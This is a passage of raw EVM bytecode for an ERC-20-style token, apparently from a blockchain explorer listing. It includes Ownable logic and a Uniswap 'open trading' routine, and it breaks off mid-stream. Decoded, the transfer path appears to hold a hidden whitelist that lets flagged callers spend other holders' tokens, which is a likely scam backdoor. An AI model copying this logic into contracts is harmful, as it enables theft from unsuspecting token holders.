ffffffffffffffffffffffffffffffffffffffffffffffff82610ad4565b610b198683610ad4565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610b5d610b58610b5384610b31565b610b3a565b610b31565b9050919050565b5f819050919050565b610b7683610b43565b610b8a610b8282610b64565b848454610ae0565b825550505050565b5f5f905090565b610ba1610b92565b610bac818484610b6d565b505050565b5b81811015610bcf57610bc45f82610b99565b600181019050610bb2565b5050565b601f821115610c1457610be581610ab3565b610bee84610ac5565b81016020851015610bfd578190505b610c11610c0985610ac5565b830182610bb1565b50505b505050565b5f82821c905092915050565b5f610c345f1984600802610c19565b1980831691505092915050565b5f610c4c8383610c25565b9150826002028217905092915050565b610c6582610a1f565b67ffffffffffffffff811115610c7e57610c7d610a29565b5b610c888254610a83565b610c93828285610bd3565b5f60209050601f831160018114610cc4575f8415610cb2578287015190505b610cbc8582610c41565b865550610d23565b601f198416610cd286610ab3565b5f5b82811015610cf957848901518255600182019150602085019450602081019050610cd4565b86831015610d165784890151610d12601f891682610c25565b8355505b6001600288020188555050505b505050505050565b610d34816109b9565b82525050565b5f602082019050610d4d5f830184610d2b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610d8a82610b31565b9150610d9583610b31565b9250828201905080821115610dad57610dac610d53565b5b92915050565b610dbc81610b31565b82525050565b5f606082019050610dd55f830186610d2b565b610de26020830185610db3565b610def6040830184610db3565b949350505050565b5f602082019050610e0a5f830184610db3565b92915050565b611f6380610e1d5f395ff3fe608060405260043610610184575f3560e01c806370a08231116100d0578063a9059cbb11610089578063dd62ed3e11610063578063dd62ed3e1461054b578063deed449114610587578063e385e2ec146105b1578063f2fde38b146105db5761018b565b8063a9059cbb146104bb578063d28c846a146104f7578063d9bfc465146105215761018b565b806370a08231146103d5578063715018a6146104115780638a8c523c146104275780638da5cb5b1461043d57806390360ed41461046757806395d89b41146104915761018b565b806323b872dd1161013d57806333d07a521161011757806333d07a521461032d5780634f3397641461035757806351f140cd14610381578063530f088f146103ab5761018b565b806323b872dd1461029d578063298094ce146102d9578063313ce567146103035761018b565b806306fdde031461018f578063095ea7b3146101b95780630ab531c3146101f557806318160ddd1461021f5780631f73ae6a146102495780631f9d0683146102735761018b565b3661018b57005b5f5ffd5b34801561019a575f5ffd5b506101a3610603565b6040516101b09190611951565b60405180910390f35b3480156101c4575f5ffd5b506101df60048036038101906101da9190611a02565b610693565b6040516101ec9190611a5a565b60405180910390f35b348015610200575f5ffd5b506102096106b5565b6040516102169190611a82565b60405180910390f35b34801561022a575f5ffd5b506102336106bb565b6040516102409190611a82565b60405180910390f35b348015610254575f5ffd5b5061025d6106c4565b60405161026a9190611951565b60405180910390f35b34801561027e575f5ffd5b50610287610750565b6040516102949190611ab6565b60405180910390f35b3480156102a8575f5ffd5b506102c360048036038101906102be9190611acf565b610763565b6040516102d09190611a5a565b60405180910390f35b3480156102e4575f5ffd5b506102ed61079c565b6040516102fa9190611ab6565b60405180910390f35b34801561030e575f5ffd5b506103176107af565b6040516103249190611ab6565b60405180910390f35b348015610338575f5ffd5b506103416107b7565b60405161034e9190611951565b60405180910390f35b348015610362575f5ffd5b5061036b610843565b6040516103789190611a5a565b60405180910390f35b34801561038c575f5ffd5b50610395610854565b6040516103a29190611951565b60405180910390f35b3480156103b6575f5ffd5b506103bf6108e0565b6040516103cc9190611a5a565b60405180910390f35b3480156103e0575f5ffd5b506103fb60048036038101906103f69190611b1f565b6108f3565b6040516104089190611a82565b60405180910390f35b34801561041c575f5ffd5b50610425610939565b005b348015610432575f5ffd5b5061043b61094c565b005b348015610448575f5ffd5b50610451610a9c565b60405161045e9190611b59565b60405180910390f35b348015610472575f5ffd5b5061047b610ac4565b6040516104889190611ab6565b60405180910390f35b34801561049c575f5ffd5b506104a5610ad6565b6040516104b29190611951565b60405180910390f35b3480156104c6575f5ffd5b506104e160048036038101906104dc9190611a02565b610b66565b6040516104ee9190611a5a565b60405180910390f35b348015610502575f5ffd5b5061050b610b88565b6040516105189190611951565b60405180910390f35b34801561052c575f5ffd5b50610535610c14565b6040516105429190611b81565b60405180910390f35b348015610556575f5ffd5b50610571600480360381019061056c9190611b9a565b610c39565b60405161057e9190611a82565b60405180910390f35b348015610592575f5ffd5b5061059b610cbb565b6040516105a89190611b59565b60405180910390f35b3480156105bc575f5ffd5b506105c5610ce0565b6040516105d29190611a5a565b60405180910390f35b3480156105e6575f5ffd5b5061060160048036038101906105fc9190611b1f565b610cf6565b005b60606008805461061290611c05565b80601f016020809104026020016040519081016040528092919081815260200182805461063e90611c05565b80156106895780601f1061066057610100808354040283529160200191610689565b820191905f5260205f20905b81548152906001019060200180831161066c57829003601f168201915b5050505050905090565b5f5f61069d610d78565b90506106aa818585610d7f565b600191505092915050565b60025481565b5f600654905090565b600180546106d190611c05565b80601f01602080910402602001604051908101604052809291908181526020018280546106fd90611c05565b80156107485780601f1061071f57610100808354040283529160200191610748565b820191905f5260205f20905b81548152906001019060200180831161072b57829003601f168201915b505050505081565b600c60159054906101000a900460ff1681565b5f5f61076d610d78565b905061077a858285610d91565b610785858585610da4565b610790858285610e94565b60019150509392505050565b600f60149054906101000a900460ff1681565b5f6009905090565b600b80546107c490611c05565b80601f01602080910402602001604051908101604052809291908181526020018280546107f090611c05565b801561083b5780601f106108125761010080835404028352916020019161083b565b820191905f5260205f20905b81548152906001019060200180831161081e57829003601f168201915b505050505081565b5f5f9054906101000a900460ff1681565b600a805461086190611c05565b80601f016020809104026020016040519081016040528092919081815260200182805461088d90611c05565b80156108d85780601f106108af576101008083540402835291602001916108d8565b820191905f5260205f20905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b600c60149054906101000a900460ff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610941610f27565b61094a5f610fa5565b565b610954610f27565b600d60149054906101000a900460ff16156109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b90611c7f565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90506109e730827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610d7f565b8073ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a0e306108f3565b5f5f610a18610a9c565b426040518863ffffffff1660e01b8152600401610a3a96959493929190611cdf565b60606040518083038185885af1158015610a56573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a7b9190611d52565b5050506001600d60146101000a81548160ff02191690831515021790555050565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60035f9054906101000a900460ff1681565b606060098054610ae590611c05565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1190611c05565b8015610b5c5780601f10610b3357610100808354040283529160200191610b5c565b820191905f5260205f20905b815481529060010190602001808311610b3f57829003601f168201915b5050505050905090565b5f5f610b70610d78565b9050610b7d818585610da4565b600191505092915050565b600e8054610b9590611c05565b80601f0160208091040260200160405190810160405280929190818152602001828054610bc190611c05565b8015610c0c5780601f10610be357610100808354040283529160200191610c0c565b820191905f5260205f20905b815481529060010190602001808311610bef57829003601f168201915b505050505081565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600d60149054906101000a900460ff16905090565b610cfe610f27565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6390611e12565b60405180910390fd5b610d7581610fa5565b50565b5f33905090565b610d8c8383836001611068565b505050565b5f610d9c8484610c39565b905050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e14575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610e0b9190611b59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e84575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610e7b9190611b59565b60405180910390fd5b610e8f838383611237565b505050565b5f610e9f8484610c39565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610f215781811015610f12578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610f0993929190611e30565b60405180910390fd5b610f2084848484035f611068565b5b50505050565b610f2f610d78565b73ffffffffffffffffffffffffffffffffffffffff16610f4d610a9c565b73ffffffffffffffffffffffffffffffffffffffff1614610fa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9a90611eaf565b60405180910390fd5b565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110d8575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016110cf9190611b59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611148575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161113f9190611b59565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611231578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112289190611a82565b60405180910390a35b50505050565b6112428383836114aa565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611292578060065f8282546112869190611efa565b92505081905550611362565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561131c578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161131393929190611e30565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113a9578060065f82825403925050819055506113f4565b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b6113ff838383611557565b61140a838383611704565b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146114a5578173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161149c9190611a82565b60405180910390a35b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561151057505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611552575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016115499190611b59565b60405180910390fd5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115bd57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156115ff575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016115f69190611b59565b60405180910390fd5b61168383838360055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117b1565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561176a57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156117ac575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016117a39190611b59565b60405180910390fd5b505050565b5f5f8290505f73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561181e57505f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611870575060075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156118d5576001151560075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515146118d0575f6118d2565b835b90505b80915050949350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611923826118e1565b61192d81856118eb565b935061193d8185602086016118fb565b61194681611909565b840191505092915050565b5f6020820190508181035f8301526119698184611919565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61199e82611975565b9050919050565b6119ae81611994565b81146119b8575f5ffd5b50565b5f813590506119c9816119a5565b92915050565b5f819050919050565b6119e1816119cf565b81146119eb575f5ffd5b50565b5f813590506119fc816119d8565b92915050565b5f5f60408385031215611a1857611a17611971565b5b5f611a25858286016119bb565b9250506020611a36858286016119ee565b9150509250929050565b5f8115159050919050565b611a5481611a40565b82525050565b5f602082019050611a6d5f830184611a4b565b92915050565b611a7c816119cf565b82525050565b5f602082019050611a955f830184611a73565b92915050565b5f60ff82169050919050565b611ab081611a9b565b82525050565b5f602082019050611ac95f830184611aa7565b92915050565b5f5f5f60608486031215611ae657611ae5611971565b5b5f611af3868287016119bb565b9350506020611b04868287016119bb565b9250506040611b15868287016119ee565b9150509250925092565b5f60208284031215611b3457611b33611971565b5b5f611b41848285016119bb565b91505092915050565b611b5381611994565b82525050565b5f602082019050611b6c5f830184611b4a565b92915050565b611b7b81611975565b82525050565b5f602082019050611b945f830184611b72565b92915050565b5f5f60408385031215611bb057611baf611971565b5b5f611bbd858286016119bb565b9250506020611bce858286016119bb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611c1c57607f821691505b602082108103611c2f57611c2e611bd8565b5b50919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f611c696017836118eb565b9150611c7482611c35565b602082019050919050565b5f6020820190508181035f830152611c9681611c5d565b9050919050565b5f819050919050565b5f819050919050565b5f611cc9611cc4611cbf84611c9d565b611ca6565b6119cf565b9050919050565b611cd981611caf565b82525050565b5f60c082019050611cf25f830189611b4a565b611cff6020830188611a73565b611d0c6040830187611cd0565b611d196060830186611cd0565b611d266080830185611b4a565b611d3360a0830184611a73565b979650505050505050565b5f81519050611d4c816119d8565b92915050565b5f5f5f60608486031215611d6957611d68611971565b5b5f611d7686828701611d3e565b9350506020611d8786828701611d3e565b9250506040611d9886828701611d3e565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611dfc6026836118eb565b9150611e0782611da2565b604082019050919050565b5f6020820190508181035f830152611e2981611df0565b9050919050565b5f606082019050611e435f830186611b4a565b611e506020830185611a73565b611e5d6040830184611a73565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611e996020836118eb565b9150611ea482611e65565b602082019050919050565b5f6020820190508181035f830152611ec681611e8d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611f04826119cf565b9150611f0f836119cf565b9250828201905080821115611f2757611f26611ecd565b5b9291505056fea26469706673582212202ee7877d5c8f4208a8cabe247f35fd0365bd8b7123607be379995b9347d9333964736f6c634300081d00330000000000000000000000008adf7473c5b8ec9679e251d904959b0d8a32e869
Deployed Bytecode
0x608060405260043610610184575f3560e01c806370a08231116100d0578063a9059cbb11610089578063dd62ed3e11610063578063dd62ed3e1461054b578063deed449114610587578063e385e2ec146105b1578063f2fde38b146105db5761018b565b8063a9059cbb146104bb578063d28c846a146104f7578063d9bfc465146105215761018b565b806370a08231146103d5578063715018a6146104115780638a8c523c146104275780638da5cb5b1461043d57806390360ed41461046757806395d89b41146104915761018b565b806323b872dd1161013d57806333d07a521161011757806333d07a521461032d5780634f3397641461035757806351f140cd14610381578063530f088f146103ab5761018b565b806323b872dd1461029d578063298094ce146102d9578063313ce567146103035761018b565b806306fdde031461018f578063095ea7b3146101b95780630ab531c3146101f557806318160ddd1461021f5780631f73ae6a146102495780631f9d0683146102735761018b565b3661018b57005b5f5ffd5b34801561019a575f5ffd5b506101a3610603565b6040516101b09190611951565b60405180910390f35b3480156101c4575f5ffd5b506101df60048036038101906101da9190611a02565b610693565b6040516101ec9190611a5a565b60405180910390f35b348015610200575f5ffd5b506102096106b5565b6040516102169190611a82565b60405180910390f35b34801561022a575f5ffd5b506102336106bb565b6040516102409190611a82565b60405180910390f35b348015610254575f5ffd5b5061025d6106c4565b60405161026a9190611951565b60405180910390f35b34801561027e575f5ffd5b50610287610750565b6040516102949190611ab6565b60405180910390f35b3480156102a8575f5ffd5b506102c360048036038101906102be9190611acf565b610763565b6040516102d09190611a5a565b60405180910390f35b3480156102e4575f5ffd5b506102ed61079c565b6040516102fa9190611ab6565b60405180910390f35b34801561030e575f5ffd5b506103176107af565b6040516103249190611ab6565b60405180910390f35b348015610338575f5ffd5b506103416107b7565b60405161034e9190611951565b60405180910390f35b348015610362575f5ffd5b5061036b610843565b6040516103789190611a5a565b60405180910390f35b34801561038c575f5ffd5b50610395610854565b6040516103a29190611951565b60405180910390f35b3480156103b6575f5ffd5b506103bf6108e0565b6040516103cc9190611a5a565b60405180910390f35b3480156103e0575f5ffd5b506103fb60048036038101906103f69190611b1f565b6108f3565b6040516104089190611a82565b60405180910390f35b34801561041c575f5ffd5b50610425610939565b005b348015610432575f5ffd5b5061043b61094c565b005b348015610448575f5ffd5b50610451610a9c565b60405161045e9190611b59565b60405180910390f35b348015610472575f5ffd5b5061047b610ac4565b6040516104889190611ab6565b60405180910390f35b34801561049c575f5ffd5b506104a5610ad6565b6040516104b29190611951565b60405180910390f35b3480156104c6575f5ffd5b506104e160048036038101906104dc9190611a02565b610b66565b6040516104ee9190611a5a565b60405180910390f35b348015610502575f5ffd5b5061050b610b88565b6040516105189190611951565b60405180910390f35b34801561052c575f5ffd5b50610535610c14565b6040516105429190611b81565b60405180910390f35b348015610556575f5ffd5b50610571600480360381019061056c9190611b9a565b610c39565b60405161057e9190611a82565b60405180910390f35b348015610592575f5ffd5b5061059b610cbb565b6040516105a89190611b59565b60405180910390f35b3480156105bc575f5ffd5b506105c5610ce0565b6040516105d29190611a5a565b60405180910390f35b3480156105e6575f5ffd5b5061060160048036038101906105fc9190611b1f565b610cf6565b005b60606008805461061290611c05565b80601f016020809104026020016040519081016040528092919081815260200182805461063e90611c05565b80156106895780601f1061066057610100808354040283529160200191610689565b820191905f5260205f20905b81548152906001019060200180831161066c57829003601f168201915b5050505050905090565b5f5f61069d610d78565b90506106aa818585610d7f565b600191505092915050565b60025481565b5f600654905090565b600180546106d190611c05565b80601f01602080910402602001604051908101604052809291908181526020018280546106fd90611c05565b80156107485780601f1061071f57610100808354040283529160200191610748565b820191905f5260205f20905b81548152906001019060200180831161072b57829003601f168201915b505050505081565b600c60159054906101000a900460ff1681565b5f5f61076d610d78565b905061077a858285610d91565b610785858585610da4565b610790858285610e94565b60019150509392505050565b600f60149054906101000a900460ff1681565b5f6009905090565b600b80546107c490611c05565b80601f01602080910402602001604051908101604052809291908181526020018280546107f090611c05565b801561083b5780601f106108125761010080835404028352916020019161083b565b820191905f5260205f20905b81548152906001019060200180831161081e57829003601f168201915b505050505081565b5f5f9054906101000a900460ff1681565b600a805461086190611c05565b80601f016020809104026020016040519081016040528092919081815260200182805461088d90611c05565b80156108d85780601f106108af576101008083540402835291602001916108d8565b820191905f5260205f20905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b600c60149054906101000a900460ff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610941610f27565b61094a5f610fa5565b565b610954610f27565b600d60149054906101000a900460ff16156109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b90611c7f565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90506109e730827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610d7f565b8073ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a0e306108f3565b5f5f610a18610a9c565b426040518863ffffffff1660e01b8152600401610a3a96959493929190611cdf565b60606040518083038185885af1158015610a56573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a7b9190611d52565b5050506001600d60146101000a81548160ff02191690831515021790555050565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60035f9054906101000a900460ff1681565b606060098054610ae590611c05565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1190611c05565b8015610b5c5780601f10610b3357610100808354040283529160200191610b5c565b820191905f5260205f20905b815481529060010190602001808311610b3f57829003601f168201915b5050505050905090565b5f5f610b70610d78565b9050610b7d818585610da4565b600191505092915050565b600e8054610b9590611c05565b80601f0160208091040260200160405190810160405280929190818152602001828054610bc190611c05565b8015610c0c5780601f10610be357610100808354040283529160200191610c0c565b820191905f5260205f20905b815481529060010190602001808311610bef57829003601f168201915b505050505081565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600d60149054906101000a900460ff16905090565b610cfe610f27565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6390611e12565b60405180910390fd5b610d7581610fa5565b50565b5f33905090565b610d8c8383836001611068565b505050565b5f610d9c8484610c39565b905050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e14575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610e0b9190611b59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e84575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610e7b9190611b59565b60405180910390fd5b610e8f838383611237565b505050565b5f610e9f8484610c39565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610f215781811015610f12578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610f0993929190611e30565b60405180910390fd5b610f2084848484035f611068565b5b50505050565b610f2f610d78565b73ffffffffffffffffffffffffffffffffffffffff16610f4d610a9c565b73ffffffffffffffffffffffffffffffffffffffff1614610fa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9a90611eaf565b60405180910390fd5b565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110d8575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016110cf9190611b59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611148575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161113f9190611b59565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611231578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112289190611a82565b60405180910390a35b50505050565b6112428383836114aa565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611292578060065f8282546112869190611efa565b92505081905550611362565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561131c578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161131393929190611e30565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113a9578060065f82825403925050819055506113f4565b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b6113ff838383611557565b61140a838383611704565b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146114a5578173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161149c9190611a82565b60405180910390a35b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561151057505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611552575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016115499190611b59565b60405180910390fd5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115bd57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156115ff575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016115f69190611b59565b60405180910390fd5b61168383838360055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117b1565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561176a57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156117ac575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016117a39190611b59565b60405180910390fd5b505050565b5f5f8290505f73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561181e57505f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611870575060075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156118d5576001151560075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515146118d0575f6118d2565b835b90505b80915050949350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611923826118e1565b61192d81856118eb565b935061193d8185602086016118fb565b61194681611909565b840191505092915050565b5f6020820190508181035f8301526119698184611919565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61199e82611975565b9050919050565b6119ae81611994565b81146119b8575f5ffd5b50565b5f813590506119c9816119a5565b92915050565b5f819050919050565b6119e1816119cf565b81146119eb575f5ffd5b50565b5f813590506119fc816119d8565b92915050565b5f5f60408385031215611a1857611a17611971565b5b5f611a25858286016119bb565b9250506020611a36858286016119ee565b9150509250929050565b5f8115159050919050565b611a5481611a40565b82525050565b5f602082019050611a6d5f830184611a4b565b92915050565b611a7c816119cf565b82525050565b5f602082019050611a955f830184611a73565b92915050565b5f60ff82169050919050565b611ab081611a9b565b82525050565b5f602082019050611ac95f830184611aa7565b92915050565b5f5f5f60608486031215611ae657611ae5611971565b5b5f611af3868287016119bb565b9350506020611b04868287016119bb565b9250506040611b15868287016119ee565b9150509250925092565b5f60208284031215611b3457611b33611971565b5b5f611b41848285016119bb565b91505092915050565b611b5381611994565b82525050565b5f602082019050611b6c5